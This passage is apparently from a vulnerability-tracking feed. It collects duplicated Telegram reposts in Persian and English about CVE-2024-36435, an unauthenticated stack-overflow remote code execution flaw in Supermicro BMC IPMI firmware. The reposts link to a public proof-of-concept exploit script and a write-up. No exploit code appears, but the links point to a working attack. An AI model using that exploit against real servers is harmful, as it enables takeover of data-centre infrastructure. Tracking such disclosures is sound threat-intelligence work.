\u0645\u06cc\u06a9\u0631\u0648 \ud83d\udea8\n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u26a0\ufe0f \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644 \u06a9\u0646\u062a\u0631\u0644\u200c\u06af\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0628\u0631\u062f \u0627\u0635\u0644\u06cc (BMC) \ud83d\udda5\ufe0f \u06a9\u0647 \u062c\u0632\u0626\u06cc \u062d\u06cc\u0627\u062a\u06cc \u0627\u0632 \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u200c\u0647\u0627\u06cc \u0645\u062f\u0631\u0646 \u0645\u0631\u0627\u06a9\u0632 \u062f\u0627\u062f\u0647 \ud83c\udfe2 \u0627\u0633\u062a\u060c \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \ud83e\uddb9\u200d\u2642\ufe0f \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \ud83c\udf10 \u0648 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \ud83d\udeab\u060c \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f \ud83d\udcbb. \n\n\u0628\u0647 \u0632\u0628\u0627\u0646 \u0633\u0627\u062f\u0647\u200c\u062a\u0631\u060c \u0647\u0631 \u06a9\u0633\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0633\u0627\u062f\u0647 \u2709\ufe0f\u060c \u06a9\u0646\u062a\u0631\u0644 \u0633\u06cc\u0633\u062a\u0645 \ud83c\udf9b\ufe0f \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u0628\u06af\u06cc\u0631\u062f \u0648 \u06a9\u062f\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \ud83e\udda0 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06cc\u06a9 \u0646\u0642\u0635 \ud83d\udc1e \u062f\u0631 \u0646\u062d\u0648\u0647 \u0645\u062f\u06cc\u0631\u06cc\u062a \u067e\u0634\u062a\u0647 (Stack Overflow) \ud83d\udca5 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\n\n* \u06a9\u062f \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645 (POC): [\u0644\u06cc\u0646\u06a9] \ud83d\udd17\n\n\n\n\n\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0 \u2661 \u2800\u2800 \u3007\u2800\u00a0 \u2800 \u2399\u2800\u200c\u00a0 \u200c \u2332\u2063 \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u02e1\u2071\u1d4f\u1d49\u00a0 \u1d9c\u1d52\u1d50\u1d50\u1d49\u207f\u1d57\u00a0\u00a0 \u02e2\u1d43\u1d5b\u1d49\u00a0 \u02e2\u02b0\u1d43\u02b3\u1d49\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 K1\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 kasraone", "creation_timestamp": "2024-10-11T05:02:04.000000Z"} {"uuid": "4a03039d-2126-481d-912a-235cccdf741c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "seen", "source": "https://t.me/kasraone_com/717", "content": "\u0645\u0634\u06a9\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc RCE (CVE-2024-36435) \u062f\u0631 \u06a9\u0646\u062a\u0631\u0644\u200c\u06af\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0628\u0631\u062f \u0627\u0635\u0644\u06cc (BMC) \u0633\u0648\u067e\u0631 \u0645\u06cc\u06a9\u0631\u0648 \ud83d\udea8\n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u26a0\ufe0f \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644 \u06a9\u0646\u062a\u0631\u0644\u200c\u06af\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0628\u0631\u062f \u0627\u0635\u0644\u06cc (BMC) \ud83d\udda5\ufe0f \u06a9\u0647 \u062c\u0632\u0626\u06cc \u062d\u06cc\u0627\u062a\u06cc \u0627\u0632 \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u200c\u0647\u0627\u06cc \u0645\u062f\u0631\u0646 \u0645\u0631\u0627\u06a9\u0632 \u062f\u0627\u062f\u0647 \ud83c\udfe2 \u0627\u0633\u062a\u060c \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \ud83e\uddb9\u200d\u2642\ufe0f \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \ud83c\udf10 \u0648 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \ud83d\udeab\u060c \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f \ud83d\udcbb. \n\n\u0628\u0647 \u0632\u0628\u0627\u0646 \u0633\u0627\u062f\u0647\u200c\u062a\u0631\u060c \u0647\u0631 \u06a9\u0633\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u06cc\u06a9 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0633\u0627\u062f\u0647 \u2709\ufe0f\u060c \u06a9\u0646\u062a\u0631\u0644 \u0633\u06cc\u0633\u062a\u0645 \ud83c\udf9b\ufe0f \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u0628\u06af\u06cc\u0631\u062f \u0648 \u06a9\u062f\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \ud83e\udda0 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u06cc\u06a9 \u0646\u0642\u0635 \ud83d\udc1e \u062f\u0631 \u0646\u062d\u0648\u0647 \u0645\u062f\u06cc\u0631\u06cc\u062a \u067e\u0634\u062a\u0647 (Stack Overflow) \ud83d\udca5 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f.\n\n\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631:\n\n* \u06a9\u062f \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645 (POC): [\u0644\u06cc\u0646\u06a9] \ud83d\udd17\n\n\n\n\n\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0 \u2661 \u2800\u2800 \u3007\u2800\u00a0 \u2800 \u2399\u2800\u200c\u00a0 \u200c \u2332\u2063 \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u02e1\u2071\u1d4f\u1d49\u00a0 \u1d9c\u1d52\u1d50\u1d50\u1d49\u207f\u1d57\u00a0\u00a0 \u02e2\u1d43\u1d5b\u1d49\u00a0 \u02e2\u02b0\u1d43\u02b3\u1d49\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 K1\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 kasraone", "creation_timestamp": "2024-10-11T05:02:04.000000Z"} https://vulnerability.circl.lu/sighting/4a03039d-2126-481d-912a-235cccdf741c/export Fri, 11 Oct 2024 05:02:04 +0000 https://vulnerability.circl.lu/sighting/6cf53d35-eea0-42dd-8c09-e33fe65e5b79/export {"uuid": "6cf53d35-eea0-42dd-8c09-e33fe65e5b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "Telegram/o7VlsrAVA1DWBTlZl46rIoutlNqMKHpc5zbmztPssQicDZc", "content": "", "creation_timestamp": "2024-10-03T16:56:46.000000Z"} {"uuid": "6cf53d35-eea0-42dd-8c09-e33fe65e5b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "Telegram/o7VlsrAVA1DWBTlZl46rIoutlNqMKHpc5zbmztPssQicDZc", "content": "", "creation_timestamp": "2024-10-03T16:56:46.000000Z"} https://vulnerability.circl.lu/sighting/6cf53d35-eea0-42dd-8c09-e33fe65e5b79/export Thu, 03 Oct 2024 16:56:46 +0000 https://vulnerability.circl.lu/sighting/2a4ccf03-3099-46a2-b449-cc52729ca432/export {"uuid": "2a4ccf03-3099-46a2-b449-cc52729ca432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/ZeroDay_TM/881", "content": "\u2022 RCE Flaw (CVE-2024-36435) in Supermicro BMC IPMI Firmware\n\nSecurity vulnerability in the Baseboard Management Controller (BMC) firmware \u2014 a critical component of modern data center infrastructure. Unauthenticated user can remotely trigger the code flow with a simple post request and cause the arbitrary code execution over classical stack overflow.\n\nPOC: https://github.com/binarly-io/ToolsAndPoCs/blob/789fdb481ed3a9d6da71dee0d7d3bbdde6c1b5dd/Posix/Supermicro/CVE-2024-36435.py\n\n#exploit #writeup #pentest\n- - - - - - - - -\n\u2022 @Old_Unclee\n\u2022 @ZeroDay_TM", "creation_timestamp": "2024-10-02T21:07:43.000000Z"} {"uuid": "2a4ccf03-3099-46a2-b449-cc52729ca432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/ZeroDay_TM/881", "content": "\u2022 RCE Flaw (CVE-2024-36435) in Supermicro BMC IPMI Firmware\n\nSecurity vulnerability in the Baseboard Management Controller (BMC) firmware \u2014 a critical component of modern data center infrastructure. Unauthenticated user can remotely trigger the code flow with a simple post request and cause the arbitrary code execution over classical stack overflow.\n\nPOC: https://github.com/binarly-io/ToolsAndPoCs/blob/789fdb481ed3a9d6da71dee0d7d3bbdde6c1b5dd/Posix/Supermicro/CVE-2024-36435.py\n\n#exploit #writeup #pentest\n- - - - - - - - -\n\u2022 @Old_Unclee\n\u2022 @ZeroDay_TM", "creation_timestamp": "2024-10-02T21:07:43.000000Z"} https://vulnerability.circl.lu/sighting/2a4ccf03-3099-46a2-b449-cc52729ca432/export Wed, 02 Oct 2024 21:07:43 +0000 https://vulnerability.circl.lu/sighting/ab58e7d1-2853-4b26-9c61-c0de8b374b22/export {"uuid": "ab58e7d1-2853-4b26-9c61-c0de8b374b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/1588", "content": "#exploit\n1. CVE-2024-9014:\npgAdmin4 Sensitive Information Exposure\nhttps://github.com/EQSTLab/CVE-2024-9014\n\n2. CVE-2024-36435:\nBuffer overflow in Supermicro BMC IPMI\nhttps://github.com/binarly-io/ToolsAndPoCs/blob/master/Posix/Supermicro/CVE-2024-36435.py\n]-> https://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw", "creation_timestamp": "2024-10-02T16:38:49.000000Z"} {"uuid": "ab58e7d1-2853-4b26-9c61-c0de8b374b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/1588", "content": "#exploit\n1. CVE-2024-9014:\npgAdmin4 Sensitive Information Exposure\nhttps://github.com/EQSTLab/CVE-2024-9014\n\n2. CVE-2024-36435:\nBuffer overflow in Supermicro BMC IPMI\nhttps://github.com/binarly-io/ToolsAndPoCs/blob/master/Posix/Supermicro/CVE-2024-36435.py\n]-> https://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw", "creation_timestamp": "2024-10-02T16:38:49.000000Z"} https://vulnerability.circl.lu/sighting/ab58e7d1-2853-4b26-9c61-c0de8b374b22/export Wed, 02 Oct 2024 16:38:49 +0000 https://vulnerability.circl.lu/sighting/e7cb8970-46b0-4e2d-9823-e0b1350b6357/export {"uuid": "e7cb8970-46b0-4e2d-9823-e0b1350b6357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/4910", "content": "#exploit\n1. CVE-2024-9014:\npgAdmin4 Sensitive Information Exposure\nhttps://github.com/EQSTLab/CVE-2024-9014\n\n2. CVE-2024-36435:\nBuffer overflow in Supermicro BMC IPMI\nhttps://github.com/binarly-io/ToolsAndPoCs/blob/master/Posix/Supermicro/CVE-2024-36435.py\n]-> https://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw", "creation_timestamp": "2024-10-02T16:38:48.000000Z"} {"uuid": "e7cb8970-46b0-4e2d-9823-e0b1350b6357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/4910", "content": "#exploit\n1. CVE-2024-9014:\npgAdmin4 Sensitive Information Exposure\nhttps://github.com/EQSTLab/CVE-2024-9014\n\n2. CVE-2024-36435:\nBuffer overflow in Supermicro BMC IPMI\nhttps://github.com/binarly-io/ToolsAndPoCs/blob/master/Posix/Supermicro/CVE-2024-36435.py\n]-> https://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw", "creation_timestamp": "2024-10-02T16:38:48.000000Z"} https://vulnerability.circl.lu/sighting/e7cb8970-46b0-4e2d-9823-e0b1350b6357/export Wed, 02 Oct 2024 16:38:48 +0000 https://vulnerability.circl.lu/sighting/35582d35-da04-4943-a667-6d9aa65e9510/export {"uuid": "35582d35-da04-4943-a667-6d9aa65e9510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2284", "content": "CVE-2024-36435\n*\nRCE Flaw in Supermicro BMC IPMI Firmware\n*\nWriteUp\n*\nPOC exploit\n\n#servers #ipmi #rce", "creation_timestamp": "2024-10-02T07:31:40.000000Z"} {"uuid": "35582d35-da04-4943-a667-6d9aa65e9510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2284", "content": "CVE-2024-36435\n*\nRCE Flaw in Supermicro BMC IPMI Firmware\n*\nWriteUp\n*\nPOC exploit\n\n#servers #ipmi #rce", "creation_timestamp": "2024-10-02T07:31:40.000000Z"} https://vulnerability.circl.lu/sighting/35582d35-da04-4943-a667-6d9aa65e9510/export Wed, 02 Oct 2024 07:31:40 +0000